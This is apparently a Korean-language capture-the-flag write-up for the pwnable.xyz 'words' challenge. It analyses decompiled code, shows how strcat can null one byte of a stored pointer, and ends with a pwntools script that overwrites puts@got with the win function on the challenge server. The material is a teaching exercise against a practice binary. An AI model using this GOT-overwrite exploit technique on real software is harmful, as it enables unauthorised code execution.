문제 풀이 환경 : Ubuntu 20.04
취약한 부분이 어딘지는 알았지만 오프셋 맞추기 귀찮았던 문제...
switch의 default를 이용할 생각을 못해 다른 사람 롸업을 좀 봤다.
📝 Analysis
<< Mitigation >>
RELRO가 없으니 GOT Overwrite가 가능하다.
<< Code >>
· main
메뉴별로 선택할 수 있다.
fill로 시작하는 메뉴에 들어가면 전역 변수 a를 기준으로 strcpy, strcat을 수행하고 있다.
핵심 메뉴 빼고는 설명하지 않겠다.
· save_progress
전역 변수가 널려있는데 bss에 할당된 구조부터 보자.
fill_xxx() 함수들에서 strcpy, strcat을 수행한다고 했는데 이를 잘 이용하면 save_progress에서 쓰이는 buf에 담긴 값을 조작할 수 있을 것 같다. (OOB 취약점)
strcpy는 복사한 문자열의 끝에 NULL byte를 넣으니 계속 짧게 끝날 테니 strcat을 계속 사용해서 buf의 끝 한자리를 NULL byte로 맞추도록 만들면 된다.
fill 함수들을 잘 이용하자.
· fill_handles
int fill_handles()
{
int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]
printf(
"Choose: \n"
"1. ___ says I suck at math :(.\n"
"2. The strongest crossfitter in OTA is ___.\n"
"3. ___ is a neural-network machine-learning AI.\n"
"4. ___ says \"F*ck Me Dead Mate!!\" when surprised.\n"
"5. ___ is a cheap imitation of corb0tnik.\n"
"> ");
v1 = read_int32();
printf("Choose: \n1. vakzz\n2. kileak\n3. grazfather\n4. corb3nik\n5. rh0gue\n> ");
v2 = read_int32();
if ( v1 == 2 )
{
strcpy(a, "The strongest crossfitter in OTA is ");
}
else
{
switch ( v2 )
{
case 1:
strcpy(a, "vakzz");
break;
case 2:
strcpy(a, "kileak");
goto LABEL_6;
case 3:
LABEL_6:
strcpy(a, "grazfather");
break;
case 4:
strcpy(a, "corb3nik");
break;
case 5:
strcpy(a, "rh0gue");
break;
default:
break;
}
}
switch ( v1 )
{
case 1:
strcat(a, " says I suck at math :(.");
break;
case 2:
switch ( v2 )
{
case 1:
strcat(a, "vakzz");
break;
case 2:
strcat(a, "kileak");
break;
case 3:
strcat(a, "grazfather");
break;
case 4:
strcat(a, "corb3nik");
break;
case 5:
strcat(a, "rh0gue");
break;
default:
return puts(a);
}
break;
case 3:
strcat(a, " is a neural-network machine-learning AI.");
break;
case 4:
strcat(a, " says \"F*ck Me Dead Mate!!\" when surprised.");
break;
case 5:
strcat(a, " is a cheap imitation of corb0tnik.");
break;
default:
return puts(a);
}
return puts(a);
}
다른 fill 함수들과는 달리 strcpy를 스킵할 수 있고 strcat만 사용할 수 있도록 할 수 있다.
🧩 Exploit Scenario
1. buf에 아무 값도 없을 테니 먼저 reserve 전역 변수의 시작 주소를 저장할 수 있도록 한다.
2. fill 함수를 적절히 사용해 buf에 저장된 reserve 시작 주소의 끝 한 바이트를 NULL로 바꾼다.
그럼 0x610EC0 -> 0x610E00이 된다.
3. save_progress를 부르면 buf보다 낮은 주소에서 값을 쓸 수 있으니 다시 buf에 들어갈 값을 조작할 수 있다.
4. buf의 값을 puts@got로 조작한다.
5. 다시 save_progress를 불러 puts@got를 win 함수의 주소로 바꾼다.
6. main에서 없는 메뉴를 불러 puts가 win을 부르게 한다.
🚩 Flag 🚩
from pwn import *
# context.log_level = 'debug'
# p = process('./words')
p = remote('svc.pwnable.xyz', 30036)
e = ELF('./words')
p.sendlineafter(b'> ', b'5')
p.sendafter(b'Size: ', str(-1).encode())
p.send(b'AAAA')
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'> ', b'0')
for _ in range(2):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'> ', b'0')
for _ in range(6):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', b'0')
p.sendlineafter(b'> ', b'5')
payload = b'A' * 0xa0
payload += p64(e.got['puts'])
p.send(payload)
p.sendlineafter(b'> ', b'5')
p.send(p64(e.sym['win']))
p.sendlineafter(b'> ', b'0')
p.interactive()